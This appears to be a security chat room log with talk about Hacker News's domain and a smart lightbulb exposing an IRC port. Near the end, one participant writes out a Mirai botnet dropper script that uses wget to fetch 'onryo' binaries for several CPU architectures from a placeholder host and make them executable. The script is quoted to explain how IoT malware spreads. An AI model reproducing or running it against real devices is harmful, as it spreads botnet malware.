The DMZ

7:03 PM

Agreed. HN agrees as well that was on the frontpage for a while

I wonder how long the hack took

7:33 PM

Unrelated, but its always puzzled me why HackerNews has the domain news.ycombinator.com

@nobody Ycombinator is a venture capitalist company: ycombinator.com

And ycombinator itself is a reference to lambda calculus.

So HN isn't worth enough to have its own domain?

It's free advertising for them to use their own domain.

Oh, right.

But still, was it too much effort to use hackernews.ycombinator.com?

dunno

7:50 PM

/shrug news is easier to type

A: Smart Lightbulb Using Common IRC port found in NMAP - anything to worry about?

8:38 PM

Having irc open ports, services, and protocol in IoT device in a local network is worrisome. That is particularly true if that IoT device is at least in part controlled by an app that report and receive instruction from a server far away. IRC is the quintessential protocol used by bot herders to ...

haha wow

9:02 PM

> but I wouldn't care if they were hosted in the US

I will never understand that mindeset

O_O

Didn't even notice that. Downvoted.

Wait

No, I was reading the top answer...

Yeah it was the top answer I downvoted.

I had to ^F to find that.

I've seen a number of C2s in the US...

It's not like they're all Chinese or Russian.

Had to write a comment.

Anyway... yeah IoT is shit. If I had a nickle for every time I saw cd /tmp && wget $host/onryo.arm && chmod +x onryo.arm && ./onryo.arm in a shell script...

9:22 PM

So I've started digging deeper into BPF. It's a fascinating language!

So simple but so flexible.

@forest The shit part there being wget $host/onryo,arm if host can be set by the user or is there something else I'm missing?

@belkarx onryo is the common name of the Mirai binary.

Oh ...

#!/bin/sh

host=123.123.123.123

cd /tmp || cd /var/run || cd /mnt || cd /root; wget $host/onryo.arm && chmod +x ./onryo.arm
cd /tmp || cd /var/run || cd /mnt || cd /root; wget $host/onryo.mips && chmod +x ./onryo.mips
cd /tmp || cd /var/run || cd /mnt || cd /root; wget $host/onryo.x86 && chmod +x ./onryo.x86
cd /tmp || cd /var/run || cd /mnt || cd /root; wget $host/onryo.spc && chmod +x ./onryo.spc
cd /tmp || cd /var/run || cd /mnt || cd /root; wget $host/onryo.sh4 && chmod +x ./onryo.sh4
cd /tmp || cd /var/run || cd /mnt || cd /root; wget $host/onryo.ppc && chmod +x ./onryo.ppc

That kind of thing is downloaded as a shell script and executed to install Mirai.

It's very brute-force, but it's effective.